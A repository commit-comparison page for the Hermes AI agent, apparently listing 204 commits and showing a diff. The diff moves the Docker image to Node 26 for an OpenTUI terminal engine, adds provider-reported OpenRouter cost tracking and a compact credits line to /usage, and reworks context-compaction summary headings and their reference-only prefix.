Compare commits
204 Commits
austin/fix
...
feat/opent
| Author | SHA1 | Date | |
|---|---|---|---|
|
|
7d5fe2c39f | ||
|
|
fc0774b7f2 | ||
|
|
3d7a64c383 | ||
|
|
8356b10afa | ||
|
|
24f74eb888 | ||
|
|
6e41ca956b | ||
|
|
f0ec24ad50 | ||
|
|
ed2cffd450 | ||
|
|
50059ea403 | ||
|
|
6db65e687c | ||
|
|
09bcf5a937 | ||
|
|
22434f4d07 | ||
|
|
dc57ad98db | ||
|
|
44c896a5e2 | ||
|
|
6f5f7457fe | ||
|
|
dc3c7dc405 | ||
|
|
360388f627 | ||
|
|
375899f89c | ||
|
|
fd956d3189 | ||
|
|
fcbe525a63 | ||
|
|
f7381800f7 | ||
|
|
411334b3d0 | ||
|
|
4d67ac6172 | ||
|
|
6c00077d38 | ||
|
|
9e484f052a | ||
|
|
ab06ef8ed6 | ||
|
|
afe53708ee | ||
|
|
5affecb443 | ||
|
|
96cc7ee1e3 | ||
|
|
880107ab24 | ||
|
|
4ddb03390a | ||
|
|
c6007e5c1a | ||
|
|
e2145a5c9c | ||
|
|
55a18e6860 | ||
|
|
b097d7b033 | ||
|
|
cc726aad68 | ||
|
|
81436e143e | ||
|
|
9ff0ba0827 | ||
|
|
e3ed7722b5 | ||
|
|
7a2d498b9d | ||
|
|
e96fe06e49 | ||
|
|
9102d4a588 | ||
|
|
d221e369b8 | ||
|
|
b1fe2107d6 | ||
|
|
73969771a5 | ||
|
|
2ee69d0579 | ||
|
|
021ed69141 | ||
|
|
6c752ca3a5 | ||
|
|
acb2954d82 | ||
|
|
8f8cad7ec5 | ||
|
|
d5e2fbf244 | ||
|
|
484f484c25 | ||
|
|
114e265737 | ||
|
|
32a73010bb | ||
|
|
93764b9303 | ||
|
|
c3464ecf45 | ||
|
|
e080365a7a | ||
|
|
5e5308d34d | ||
|
|
08b1c44a53 | ||
|
|
020ef76cf1 | ||
|
|
fcf49f313e | ||
|
|
6c76908fde | ||
|
|
7776aeb064 | ||
|
|
ad16ec9c53 | ||
|
|
de446a26a5 | ||
|
|
af1e4bb9ab | ||
|
|
22792d2791 | ||
|
|
cbe703cf48 | ||
|
|
5c6438fd28 | ||
|
|
448e6ee68f | ||
|
|
805e08081f | ||
|
|
fe50861c2e | ||
|
|
e3973050df | ||
|
|
a939c9a712 | ||
|
|
e35d953a45 | ||
|
|
197d499480 | ||
|
|
14ee1a52c0 | ||
|
|
50e34713b6 | ||
|
|
e9af6a5110 | ||
|
|
4f66a7cf09 | ||
|
|
5f997247d9 | ||
|
|
ccc89a327d | ||
|
|
408789d909 | ||
|
|
a089614451 | ||
|
|
7592b996a6 | ||
|
|
380f0b53dd | ||
|
|
62537a99bf | ||
|
|
ee4fb837ed | ||
|
|
ddf4cca5c0 | ||
|
|
9122ffffc5 | ||
|
|
ebb58f750c | ||
|
|
b957dc6f72 | ||
|
|
018c8fb17f | ||
|
|
7e3936f47d | ||
|
|
2f666d2e9b | ||
|
|
c146a69b1d | ||
|
|
773690b1f7 | ||
|
|
ddfff88a58 | ||
|
|
443a1be509 | ||
|
|
d96657e2dc | ||
|
|
0e65d54b6d | ||
|
|
3ebcc3439e | ||
|
|
f86bc5170a | ||
|
|
529d8084be | ||
|
|
daa4412378 | ||
|
|
7ad05a3129 | ||
|
|
4d1d1e8f52 | ||
|
|
0bceb219e6 | ||
|
|
579fb58e86 | ||
|
|
91df325458 | ||
|
|
43b096eedb | ||
|
|
394f45a3d5 | ||
|
|
6a6693b182 | ||
|
|
03b16c51a6 | ||
|
|
ac84fe7ea1 | ||
|
|
afe5152314 | ||
|
|
5fd2b5bb7b | ||
|
|
0bde6a890f | ||
|
|
e17e94c8de | ||
|
|
99d163a8ae | ||
|
|
b537a3ba50 | ||
|
|
e7e8c820fc | ||
|
|
8c26b14931 | ||
|
|
a38152cd91 | ||
|
|
7af4055ddc | ||
|
|
de9f3effbb | ||
|
|
ac7ab6c0c0 | ||
|
|
8580172d11 | ||
|
|
af98e6deef | ||
|
|
52aa2f98f9 | ||
|
|
fb1fb1e5ca | ||
|
|
87b33cb10c | ||
|
|
51031ec655 | ||
|
|
edc6e67add | ||
|
|
2d3cf85d67 | ||
|
|
8f112b0633 | ||
|
|
216790a8f8 | ||
|
|
2a25c1c40b | ||
|
|
d0b14bc6ef | ||
|
|
c70620e4a0 | ||
|
|
2b1564199c | ||
|
|
fdc0e5fea5 | ||
|
|
b3d2de87f9 | ||
|
|
cff7b365d2 | ||
|
|
0240299fb0 | ||
|
|
2f30c09378 | ||
|
|
90840708f1 | ||
|
|
60f47eab37 | ||
|
|
04704c103e | ||
|
|
6d2211d9d0 | ||
|
|
cdeef30c62 | ||
|
|
3d3fc24d9a | ||
|
|
2e31140728 | ||
|
|
f4a83c9298 | ||
|
|
00cb21de3e | ||
|
|
0437dd060c | ||
|
|
bc9447d23b | ||
|
|
79dc862680 | ||
|
|
01fa8dcc00 | ||
|
|
3882cc6e61 | ||
|
|
6b87243ecd | ||
|
|
49d90e68c6 | ||
|
|
2cd122c9c1 | ||
|
|
53438228ee | ||
|
|
503c1201ff | ||
|
|
e44b43ad16 | ||
|
|
cd09aa61ef | ||
|
|
c507ca6b3b | ||
|
|
d90e195670 | ||
|
|
793462a395 | ||
|
|
636bb6e928 | ||
|
|
0da48b0c7f | ||
|
|
50023fd151 | ||
|
|
5352aec064 | ||
|
|
7b14c51e7b | ||
|
|
8c1b62e72f | ||
|
|
e136314039 | ||
|
|
73d5c2871d | ||
|
|
d46a8f4492 | ||
|
|
eaee382b47 | ||
|
|
59e9e6a26e | ||
|
|
a046cee754 | ||
|
|
15ccaf9ab9 | ||
|
|
c391add579 | ||
|
|
1e55b3b294 | ||
|
|
76cf809066 | ||
|
|
915b9b5f6f | ||
|
|
1bf9dff1fb | ||
|
|
e14dfa86c6 | ||
|
|
055bc3e3a2 | ||
|
|
c019a9d2d5 | ||
|
|
99b24f6747 | ||
|
|
d4d7c9b0ae | ||
|
|
ba10594322 | ||
|
|
0d0e9203cf | ||
|
|
abdc21f39a | ||
|
|
87634e19fd | ||
|
|
d01b573796 | ||
|
|
a572a1eae4 | ||
|
|
b72ac77783 | ||
|
|
53b37463c4 | ||
|
|
cc2c881fd1 | ||
|
|
12342a4bce | ||
|
|
ea0de82422 |
32
Dockerfile
@@ -1,12 +1,14 @@
|
||||
FROM ghcr.io/astral-sh/uv:0.11.6-python3.13-trixie@sha256:b3c543b6c4f23a5f2df22866bd7857e5d304b67a564f4feab6ac22044dde719b AS uv_source
|
||||
# Node 22 LTS source stage. Debian trixie's bundled nodejs is pinned to 20.x
|
||||
# which reached EOL in April 2026 — we copy node + npm + corepack from the
|
||||
# upstream node:22 image instead so we can stay on a supported LTS without
|
||||
# waiting for Debian 14 (forky, ~mid-2027). Bookworm-based slim image used
|
||||
# so the produced binary links against glibc 2.36, which runs cleanly on
|
||||
# our Debian 13 (trixie, glibc 2.41) runtime. Bumping to a new Node major
|
||||
# is a one-line ARG change; see #4977.
|
||||
FROM node:22-bookworm-slim@sha256:7af03b14a13c8cdd38e45058fd957bf00a72bbe17feac43b1c15a689c029c732 AS node_source
|
||||
# Node 26 source stage. Debian trixie's bundled nodejs is pinned to 20.x
|
||||
# (EOL April 2026), so we copy node + npm + corepack from the upstream node:26
|
||||
# image instead. Node 26 (Current; LTS promotion ~Oct 2026) is REQUIRED by the
|
||||
# native OpenTUI TUI engine, which loads its renderer via the experimental
|
||||
# `node:ffi` API that only exists on Node 26.3+ (the Ink engine + web build run
|
||||
# on it too). Bookworm-based slim image used so the produced binary links
|
||||
# against glibc 2.36, which runs cleanly on our Debian 13 (trixie, glibc 2.41)
|
||||
# runtime. The pinned tag ships v26.3.0. Bumping Node is a one-line change here.
|
||||
# NOTE: verify the full image build + Ink/web/Playwright on Node 26 in CI.
|
||||
FROM node:26-bookworm-slim@sha256:79723b41edbedf595f62e943a9f8b0ba9af5b1e61045c5f8f59c2c02c1212a16 AS node_source
|
||||
FROM debian:13.4
|
||||
|
||||
# Disable Python stdout buffering to ensure logs are printed immediately
|
||||
@@ -90,7 +92,7 @@ RUN useradd -u 10000 -m -d /opt/data hermes
|
||||
|
||||
COPY --chmod=0755 --from=uv_source /usr/local/bin/uv /usr/local/bin/uvx /usr/local/bin/
|
||||
|
||||
# Node 22 LTS: copy the node binary plus the bundled npm + corepack JS
|
||||
# Node 26: copy the node binary plus the bundled npm + corepack JS
|
||||
# installs from the upstream image. npm and npx are recreated as symlinks
|
||||
# because they're symlinks in the source image (and need to live on PATH).
|
||||
# See node_source stage at the top of the file for the version-bump
|
||||
@@ -119,7 +121,7 @@ COPY ui-tui/packages/hermes-ink/ ui-tui/packages/hermes-ink/
|
||||
|
||||
# `npm_config_install_links=false` forces npm to install `file:` deps as
|
||||
# symlinks instead of copies. This is the default since npm 10+, which is
|
||||
# what the image ships now (via the node:22 source stage). We set it
|
||||
# what the image ships now (via the node:26 source stage). We set it
|
||||
# explicitly anyway as defense-in-depth: the previous Debian-bundled npm
|
||||
# 9.x defaulted to install-as-copy, which produced a hidden
|
||||
# node_modules/.package-lock.json that permanently disagreed with the root
|
||||
@@ -181,8 +183,16 @@ RUN uv sync --frozen --no-install-project --extra all --extra messaging --extra
|
||||
# invalidate the (relatively slow) web + ui-tui build layer.
|
||||
COPY web/ web/
|
||||
COPY ui-tui/ ui-tui/
|
||||
COPY ui-opentui/ ui-opentui/
|
||||
# ui-opentui is the opt-in native OpenTUI engine (HERMES_TUI_ENGINE=opentui;
|
||||
# default stays Ink). .dockerignore strips its node_modules/dist, so install +
|
||||
# esbuild-build it here -> dist/main.js, then prune devDeps (esbuild/babel/
|
||||
# vitest); the runtime only needs the prod deps (the external @opentui/core +
|
||||
# its native blob -- the bundle inlines solid/effect). Build needs Node 26.3
|
||||
# (node:ffi floor), which this image ships.
|
||||
RUN cd web && npm run build && \
|
||||
cd ../ui-tui && npm run build
|
||||
cd ../ui-tui && npm run build && \
|
||||
cd ../ui-opentui && npm install --no-audit --no-fund && npm run build && npm prune --omit=dev
|
||||
|
||||
# ---------- Source code ----------
|
||||
# .dockerignore excludes node_modules, so the installs above survive.
|
||||
|
||||
@@ -107,6 +107,8 @@ You can still bring your own keys per-tool whenever you want — the gateway is
|
||||
|
||||
Hermes has two entry points: start the terminal UI with `hermes`, or run the gateway and talk to it from Telegram, Discord, Slack, WhatsApp, Signal, or Email. Once you're in a conversation, many slash commands are shared across both interfaces.
|
||||
|
||||
> **TUI engine:** On supported hosts (Linux/macOS with Node 26.3+), the terminal UI defaults to the native **OpenTUI** engine, which the installer provisions for you. The legacy **Ink** engine remains the fallback — it's used automatically on Windows, Termux, or when the native engine can't run, and you can select it explicitly with `HERMES_TUI_ENGINE=ink hermes`. Ink is not going away; it's the kept fallback.
|
||||
|
||||
| Action | CLI | Messaging platforms |
|
||||
| ------------------------------ | --------------------------------------------- | -------------------------------------------------------------------------------- |
|
||||
| Start chatting | `hermes` | Run `hermes gateway setup` + `hermes gateway start`, then send the bot a message |
|
||||
|
||||
@@ -242,6 +242,17 @@ def nous_credits_lines(*, markdown: bool = False, timeout: float = 10.0) -> list
|
||||
renders from that fixture instead of the real portal (so the block + gauge are
|
||||
testable without a live account). Throwaway scaffolding.
|
||||
"""
|
||||
snapshot = _fetch_nous_credits_snapshot(timeout=timeout)
|
||||
return render_account_usage_lines(snapshot, markdown=markdown)
|
||||
|
||||
|
||||
def _fetch_nous_credits_snapshot(timeout: float = 10.0) -> Optional[AccountUsageSnapshot]:
|
||||
"""Auth-gate + portal fetch + snapshot build for the Nous credits block.
|
||||
|
||||
Shared by ``nous_credits_lines`` (full block) and
|
||||
``nous_credits_compact_line`` (one-liner). Honors the
|
||||
HERMES_DEV_CREDITS_FIXTURE dev override. Fail-open → None.
|
||||
"""
|
||||
# Dev fixture short-circuit — render /usage from the injected state, no portal.
|
||||
try:
|
||||
from agent.credits_tracker import dev_fixture_credits_state
|
||||
@@ -250,17 +261,16 @@ def nous_credits_lines(*, markdown: bool = False, timeout: float = 10.0) -> list
|
||||
except Exception:
|
||||
fixture = None
|
||||
if fixture is not None:
|
||||
snapshot = _snapshot_from_credits_state(fixture)
|
||||
return render_account_usage_lines(snapshot, markdown=markdown)
|
||||
return _snapshot_from_credits_state(fixture)
|
||||
|
||||
try:
|
||||
from hermes_cli.auth import get_provider_auth_state
|
||||
|
||||
tok = (get_provider_auth_state("nous") or {}).get("access_token")
|
||||
if not (isinstance(tok, str) and tok.strip()):
|
||||
return []
|
||||
return None
|
||||
except Exception:
|
||||
return []
|
||||
return None
|
||||
try:
|
||||
import concurrent.futures
|
||||
|
||||
@@ -270,13 +280,36 @@ def nous_credits_lines(*, markdown: bool = False, timeout: float = 10.0) -> list
|
||||
account = pool.submit(
|
||||
get_nous_portal_account_info, force_fresh=True
|
||||
).result(timeout=timeout)
|
||||
snapshot = build_nous_credits_snapshot(account)
|
||||
return render_account_usage_lines(snapshot, markdown=markdown)
|
||||
return build_nous_credits_snapshot(account)
|
||||
except Exception:
|
||||
# Fail-open (caller shows nothing), but leave a breadcrumb so a dead
|
||||
# /usage credits block is diagnosable in agent.log without a dev flag.
|
||||
logger.debug("credits ▸ /usage portal fetch/render failed (fail-open)", exc_info=True)
|
||||
return []
|
||||
return None
|
||||
|
||||
|
||||
def nous_credits_compact_line(*, timeout: float = 10.0) -> Optional[str]:
|
||||
"""One-line Nous credits summary for the compact /usage view, or None.
|
||||
|
||||
Condenses the snapshot's own detail strings (stable, locally-built
|
||||
formats) into ``Nous credits (Plan): Total usable: $X · Renews: …``.
|
||||
Same gating/fail-open semantics as ``nous_credits_lines``.
|
||||
"""
|
||||
snap = _fetch_nous_credits_snapshot(timeout=timeout)
|
||||
if snap is None or not snap.available:
|
||||
return None
|
||||
picked = [
|
||||
d for d in snap.details
|
||||
if d.startswith(("Total usable:", "Renews:", "Status:"))
|
||||
]
|
||||
if not picked:
|
||||
picked = [d for d in snap.details if not d.startswith("Manage / top up:")][:2]
|
||||
if not picked:
|
||||
return None
|
||||
title = snap.title
|
||||
if snap.plan:
|
||||
title += f" ({snap.plan})"
|
||||
return f"{title}: " + " · ".join(picked)
|
||||
|
||||
|
||||
def _snapshot_from_credits_state(state) -> Optional[AccountUsageSnapshot]:
|
||||
|
||||
@@ -1624,6 +1624,12 @@ def init_agent(
|
||||
agent.session_cache_write_tokens = 0
|
||||
agent.session_reasoning_tokens = 0
|
||||
agent.session_estimated_cost_usd = 0.0
|
||||
# Provider-REPORTED cost only (e.g. OpenRouter usage.cost). None means
|
||||
# "nothing reported" — distinct from a real $0.00.
|
||||
agent.session_actual_cost_usd = None
|
||||
# Per-model session usage rows for /usage: {model: {calls, input, output,
|
||||
# cache_read, cache_write, cost_usd|None}}.
|
||||
agent.session_model_usage = {}
|
||||
agent.session_cost_status = "unknown"
|
||||
agent.session_cost_source = "none"
|
||||
|
||||
|
||||
@@ -190,6 +190,10 @@ CODING_AGENT_GUIDANCE = (
|
||||
"Verify, and know when to stop:\n"
|
||||
"- Use `terminal` for git, builds, tests, and inspection. Run the relevant "
|
||||
"tests/linter/build and confirm they pass before claiming the work is done.\n"
|
||||
"- Terminal state persists across calls: current directory and exported "
|
||||
"environment variables carry forward. Activate a virtualenv or export setup "
|
||||
"vars once, then reuse that state instead of re-sourcing it before every "
|
||||
"test command.\n"
|
||||
"- Fix root causes, not symptoms: when you find a bug, check sibling call "
|
||||
"paths for the same flaw and fix the class, not just the reported site.\n"
|
||||
"- When fixing linter/type errors on a file, stop after about three "
|
||||
@@ -711,10 +715,13 @@ def build_coding_workspace_block(cwd: Optional[str | Path] = None) -> str:
|
||||
lines.append("- Branch: (detached HEAD)")
|
||||
|
||||
# Linked worktree: the per-worktree git dir differs from the shared common dir.
|
||||
# We surface the fact that it's a worktree (so the model knows branches/stashes
|
||||
# are shared state) but deliberately do NOT expose the primary tree path —
|
||||
# giving the model a second absolute path causes it to sometimes run commands
|
||||
# in the wrong directory.
|
||||
git_dir, common_dir = _git(root, "rev-parse", "--git-dir"), _git(root, "rev-parse", "--git-common-dir")
|
||||
if git_dir and common_dir and Path(git_dir).resolve() != Path(common_dir).resolve():
|
||||
main_tree = Path(common_dir).resolve().parent
|
||||
lines.append(f"- Worktree: linked (primary tree at {main_tree})")
|
||||
lines.append("- Worktree: linked (git state shared with primary tree)")
|
||||
|
||||
dirty = [f"{n} {label}" for label, n in (
|
||||
("staged", counts["staged"]), ("modified", counts["modified"]),
|
||||
|
||||
@@ -7,7 +7,7 @@ protecting head and tail context.
|
||||
Improvements over v2:
|
||||
- Structured summary template with Resolved/Pending question tracking
|
||||
- Filter-safe summarizer preamble that treats prior turns as source material
|
||||
- "Remaining Work" replaces "Next Steps" to avoid reading as active instructions
|
||||
- Historical (reference-only) section headings replace "Next Steps"/"Remaining Work" to avoid reading as active instructions
|
||||
- Clear separator when summary merges into tail message
|
||||
- Iterative summary updates (preserves info across multiple compactions)
|
||||
- Token-budget tail protection instead of fixed message count
|
||||
@@ -34,7 +34,50 @@ from agent.redact import redact_sensitive_text
|
||||
|
||||
logger = logging.getLogger(__name__)
|
||||
|
||||
HISTORICAL_TASK_HEADING = "## Historical Task Snapshot"
|
||||
HISTORICAL_IN_PROGRESS_HEADING = "## Historical In-Progress State"
|
||||
HISTORICAL_PENDING_ASKS_HEADING = "## Historical Pending User Asks"
|
||||
HISTORICAL_REMAINING_WORK_HEADING = "## Historical Remaining Work"
|
||||
|
||||
|
||||
SUMMARY_PREFIX = (
|
||||
"[CONTEXT COMPACTION — REFERENCE ONLY] Earlier turns were compacted "
|
||||
"into the summary below. This is a handoff from a previous context "
|
||||
"window — treat it as background reference, NOT as active instructions. "
|
||||
"Do NOT answer questions or fulfill requests mentioned in this summary; "
|
||||
"they were already addressed. "
|
||||
"Respond ONLY to the latest user message that appears AFTER this "
|
||||
"summary — that message is the single source of truth for what to do "
|
||||
"right now. "
|
||||
"Topic overlap with the summary does NOT mean you should resume its "
|
||||
"task: even on similar topics, the latest user message WINS. Treat ONLY "
|
||||
"the latest message as the active task and discard stale items from "
|
||||
f"'{HISTORICAL_TASK_HEADING}' / '{HISTORICAL_IN_PROGRESS_HEADING}' / "
|
||||
f"'{HISTORICAL_PENDING_ASKS_HEADING}' / "
|
||||
f"'{HISTORICAL_REMAINING_WORK_HEADING}' entirely — do not 'wrap up' or "
|
||||
"'finish' work described there unless the latest message explicitly "
|
||||
"asks for it. "
|
||||
"Reverse signals in the latest message (e.g. 'stop', 'undo', 'roll "
|
||||
"back', 'just verify', 'don't do that anymore', 'never mind', a new "
|
||||
"topic) must immediately end any in-flight work described in the "
|
||||
"summary; do not re-surface it in later turns. "
|
||||
"IMPORTANT: Your persistent memory (MEMORY.md, USER.md) in the system "
|
||||
"prompt is ALWAYS authoritative and active — never ignore or deprioritize "
|
||||
"memory content due to this compaction note. "
|
||||
"The current session state (files, config, etc.) may reflect work "
|
||||
"described here — avoid repeating it:"
|
||||
)
|
||||
LEGACY_SUMMARY_PREFIX = "[CONTEXT SUMMARY]:"
|
||||
|
||||
# Handoff prefixes that shipped in earlier releases. A summary persisted under
|
||||
# one of these can be inherited into a resumed lineage (#35344); when it is
|
||||
# re-normalized on re-compaction we must strip the OLD prefix too, otherwise the
|
||||
# stale directive it carried (e.g. "resume exactly from Active Task") survives
|
||||
# embedded in the body and keeps hijacking replies. Keep newest-first; entries
|
||||
# are matched literally. Add a frozen copy here whenever SUMMARY_PREFIX changes.
|
||||
_HISTORICAL_SUMMARY_PREFIXES = (
|
||||
# Carveout era (#41607/#38364/#42812): "consistent → use as background"
|
||||
# licensed stale-task resumption on topic overlap.
|
||||
"[CONTEXT COMPACTION — REFERENCE ONLY] Earlier turns were compacted "
|
||||
"into the summary below. This is a handoff from a previous context "
|
||||
"window — treat it as background reference, NOT as active instructions. "
|
||||
@@ -57,17 +100,7 @@ SUMMARY_PREFIX = (
|
||||
"prompt is ALWAYS authoritative and active — never ignore or deprioritize "
|
||||
"memory content due to this compaction note. "
|
||||
"The current session state (files, config, etc.) may reflect work "
|
||||
"described here — avoid repeating it:"
|
||||
)
|
||||
LEGACY_SUMMARY_PREFIX = "[CONTEXT SUMMARY]:"
|
||||
|
||||
# Handoff prefixes that shipped in earlier releases. A summary persisted under
|
||||
# one of these can be inherited into a resumed lineage (#35344); when it is
|
||||
# re-normalized on re-compaction we must strip the OLD prefix too, otherwise the
|
||||
# stale directive it carried (e.g. "resume exactly from Active Task") survives
|
||||
# embedded in the body and keeps hijacking replies. Keep newest-first; entries
|
||||
# are matched literally. Add a frozen copy here whenever SUMMARY_PREFIX changes.
|
||||
_HISTORICAL_SUMMARY_PREFIXES = (
|
||||
"described here — avoid repeating it:",
|
||||
# Pre-#35344: contained the self-contradicting "resume exactly" directive.
|
||||
"[CONTEXT COMPACTION — REFERENCE ONLY] Earlier turns were compacted "
|
||||
"into the summary below. This is a handoff from a previous context "
|
||||
@@ -1155,7 +1188,7 @@ class ContextCompressor(ContextEngine):
|
||||
)
|
||||
|
||||
reason_text = f" Summary failure reason: {reason}." if reason else ""
|
||||
body = f"""## Active Task
|
||||
body = f"""{HISTORICAL_TASK_HEADING}
|
||||
{active_task}
|
||||
|
||||
## Goal
|
||||
@@ -1172,7 +1205,7 @@ Recovered from a deterministic fallback because the LLM context summarizer was u
|
||||
## Active State
|
||||
Unknown from deterministic fallback. Inspect current repository/session state if needed.
|
||||
|
||||
## In Progress
|
||||
{HISTORICAL_IN_PROGRESS_HEADING}
|
||||
{active_task}
|
||||
|
||||
## Blocked
|
||||
@@ -1184,13 +1217,13 @@ None recoverable from deterministic fallback.
|
||||
## Resolved Questions
|
||||
None recoverable from deterministic fallback.
|
||||
|
||||
## Pending User Asks
|
||||
{HISTORICAL_PENDING_ASKS_HEADING}
|
||||
{active_task}
|
||||
|
||||
## Relevant Files
|
||||
{_bullets(relevant_files, limit=12)}
|
||||
|
||||
## Remaining Work
|
||||
{HISTORICAL_REMAINING_WORK_HEADING}
|
||||
Continue from the most recent unfulfilled user ask and protected tail messages. Verify state with tools before making claims.
|
||||
|
||||
## Last Dropped Turns
|
||||
@@ -1312,7 +1345,7 @@ Summary generation was unavailable, so this is a best-effort deterministic fallb
|
||||
_temporal_anchoring_rule = ""
|
||||
|
||||
# Shared structured template (used by both paths).
|
||||
_template_sections = f"""## Active Task
|
||||
_template_sections = f"""{HISTORICAL_TASK_HEADING}
|
||||
[THE SINGLE MOST IMPORTANT FIELD. Capture the user's most recent unfulfilled
|
||||
input verbatim — the exact words they used. This includes:
|
||||
- Explicit task assignments ("refactor the auth module")
|
||||
@@ -1359,7 +1392,7 @@ Be specific with file paths, commands, line numbers, and results.]
|
||||
- Any running processes or servers
|
||||
- Environment details that matter]
|
||||
|
||||
## In Progress
|
||||
{HISTORICAL_IN_PROGRESS_HEADING}
|
||||
[Work currently underway — what was being done when compaction fired]
|
||||
|
||||
## Blocked
|
||||
@@ -1371,14 +1404,14 @@ Be specific with file paths, commands, line numbers, and results.]
|
||||
## Resolved Questions
|
||||
[Questions the user asked that were ALREADY answered — include the answer so it is not repeated]
|
||||
|
||||
## Pending User Asks
|
||||
[Questions or requests from the user that have NOT yet been answered or fulfilled. If none, write "None."]
|
||||
{HISTORICAL_PENDING_ASKS_HEADING}
|
||||
[Questions or requests from the user that have NOT yet been answered or fulfilled. These are STALE — they were from the compacted turns. Write them here for reference only. The agent must NOT act on them unless the latest user message explicitly requests it. If none, write "None."]
|
||||
|
||||
## Relevant Files
|
||||
[Files read, modified, or created — with brief note on each]
|
||||
|
||||
## Remaining Work
|
||||
[What remains to be done — framed as context, not instructions]
|
||||
{HISTORICAL_REMAINING_WORK_HEADING}
|
||||
[What remains to be done — framed as STALE context for reference only. The agent must NOT resume this work unless the latest user message explicitly asks for it.]
|
||||
|
||||
## Critical Context
|
||||
[Any specific values, error messages, configuration details, or data that would be lost without explicit preservation. NEVER include API keys, tokens, passwords, or credentials — write [REDACTED] instead.]
|
||||
@@ -1753,7 +1786,7 @@ The user has requested that this compaction PRIORITISE preserving all informatio
|
||||
Context compressor bug (#10896): ``_align_boundary_backward`` can pull
|
||||
``cut_idx`` past a user message when it tries to keep tool_call/result
|
||||
groups together. If the last user message ends up in the *compressed*
|
||||
middle region the LLM summariser writes it into "Pending User Asks",
|
||||
middle region the LLM summariser writes it into "Historical Pending User Asks",
|
||||
but ``SUMMARY_PREFIX`` tells the next model to respond only to user
|
||||
messages *after* the summary — so the task effectively disappears from
|
||||
the active context, causing the agent to stall, repeat completed work,
|
||||
|
||||
@@ -57,7 +57,11 @@ from agent.process_bootstrap import _install_safe_stdio
|
||||
from agent.prompt_caching import apply_anthropic_cache_control
|
||||
from agent.retry_utils import jittered_backoff
|
||||
from agent.trajectory import has_incomplete_scratchpad
|
||||
from agent.usage_pricing import estimate_usage_cost, normalize_usage
|
||||
from agent.usage_pricing import (
|
||||
estimate_usage_cost,
|
||||
extract_provider_cost_usd,
|
||||
normalize_usage,
|
||||
)
|
||||
from hermes_constants import PARTIAL_STREAM_STUB_ID
|
||||
from hermes_logging import set_session_context
|
||||
from tools.skill_provenance import set_current_write_origin
|
||||
@@ -1633,6 +1637,37 @@ def run_conversation(
|
||||
agent.session_cost_status = cost_result.status
|
||||
agent.session_cost_source = cost_result.source
|
||||
|
||||
# ── Real provider-REPORTED cost (never estimated) ──
|
||||
# OpenRouter usage accounting returns ``usage.cost`` on the
|
||||
# response when the request carries usage:{include:true}
|
||||
# (added on OpenRouter routes). When the provider reports
|
||||
# nothing, this stays None — absent, NOT zero — so cost
|
||||
# displays hide instead of showing a fabricated $0.00.
|
||||
reported_cost_usd = extract_provider_cost_usd(response.usage)
|
||||
if reported_cost_usd is not None:
|
||||
_prev_actual = getattr(agent, "session_actual_cost_usd", None)
|
||||
agent.session_actual_cost_usd = (_prev_actual or 0.0) + reported_cost_usd
|
||||
agent.session_cost_status = "actual"
|
||||
agent.session_cost_source = "provider_cost_api"
|
||||
|
||||
# Per-model session breakdown for /usage — counts are always
|
||||
# real; cost_usd only accumulates provider-reported values
|
||||
# and stays None when the provider reports nothing.
|
||||
_model_usage = getattr(agent, "session_model_usage", None)
|
||||
if _model_usage is None:
|
||||
_model_usage = agent.session_model_usage = {}
|
||||
_mrow = _model_usage.setdefault(agent.model, {
|
||||
"calls": 0, "input": 0, "output": 0,
|
||||
"cache_read": 0, "cache_write": 0, "cost_usd": None,
|
||||
})
|
||||
_mrow["calls"] += 1
|
||||
_mrow["input"] += canonical_usage.input_tokens
|
||||
_mrow["output"] += canonical_usage.output_tokens
|
||||
_mrow["cache_read"] += canonical_usage.cache_read_tokens
|
||||
_mrow["cache_write"] += canonical_usage.cache_write_tokens
|
||||
if reported_cost_usd is not None:
|
||||
_mrow["cost_usd"] = (_mrow["cost_usd"] or 0.0) + reported_cost_usd
|
||||
|
||||
# Persist token counts to session DB for /insights.
|
||||
# Do this for every platform with a session_id so non-CLI
|
||||
# sessions (gateway, cron, delegated runs) cannot lose
|
||||
@@ -1659,8 +1694,14 @@ def run_conversation(
|
||||
reasoning_tokens=canonical_usage.reasoning_tokens,
|
||||
estimated_cost_usd=float(cost_result.amount_usd)
|
||||
if cost_result.amount_usd is not None else None,
|
||||
cost_status=cost_result.status,
|
||||
cost_source=cost_result.source,
|
||||
# Provider-reported per-call cost delta. NULL
|
||||
# (not 0) when the provider reported nothing —
|
||||
# the SQL CASE keeps actual_cost_usd untouched.
|
||||
actual_cost_usd=reported_cost_usd,
|
||||
cost_status="actual"
|
||||
if reported_cost_usd is not None else cost_result.status,
|
||||
cost_source="provider_cost_api"
|
||||
if reported_cost_usd is not None else cost_result.source,
|
||||
billing_provider=agent.provider,
|
||||
billing_base_url=agent.base_url,
|
||||
billing_mode="subscription_included"
|
||||
|
||||
@@ -388,6 +388,13 @@ class ChatCompletionsTransport(ProviderTransport):
|
||||
if provider_prefs and is_openrouter:
|
||||
extra_body["provider"] = provider_prefs
|
||||
|
||||
# OpenRouter usage accounting — response `usage.cost` carries the REAL
|
||||
# charged cost (credits are 1:1 USD). Parity with the profile path in
|
||||
# plugins/model-providers/openrouter/__init__.py; this branch only runs
|
||||
# when the OpenRouter profile isn't loaded.
|
||||
if is_openrouter:
|
||||
extra_body["usage"] = {"include": True}
|
||||
|
||||
# Pareto Code router plugin — model-gated. Same shape as the
|
||||
# profile path in plugins/model-providers/openrouter/__init__.py;
|
||||
# this branch only runs when the OpenRouter profile isn't loaded.
|
||||
|
||||
@@ -852,6 +852,73 @@ def estimate_usage_cost(
|
||||
)
|
||||
|
||||
|
||||
def _finite_nonneg_number(value: Any) -> Optional[float]:
|
||||
"""Return ``value`` as a float when it is a real, finite, non-negative
|
||||
number (int/float, not bool); otherwise None."""
|
||||
if isinstance(value, bool) or not isinstance(value, (int, float)):
|
||||
return None
|
||||
try:
|
||||
f = float(value)
|
||||
except (TypeError, ValueError):
|
||||
return None
|
||||
if f != f or f in (float("inf"), float("-inf")) or f < 0:
|
||||
return None
|
||||
return f
|
||||
|
||||
|
||||
def extract_provider_cost_usd(response_usage: Any) -> Optional[float]:
|
||||
"""Provider-REPORTED cost (USD) from a response ``usage`` object, or None.
|
||||
|
||||
Reads the ``usage.cost`` field that OpenRouter's usage accounting returns
|
||||
(``usage: {"include": true}`` request param; OpenRouter credits are 1:1
|
||||
USD). OpenRouter-compatible aggregators use the same field. This NEVER
|
||||
estimates: when the provider reports nothing, the result is None — callers
|
||||
must treat None as "no cost data", not zero. A reported ``0`` is a real
|
||||
zero (e.g. free-tier models) and is returned as ``0.0``.
|
||||
"""
|
||||
if response_usage is None:
|
||||
return None
|
||||
cost = getattr(response_usage, "cost", None)
|
||||
if cost is None and isinstance(response_usage, dict):
|
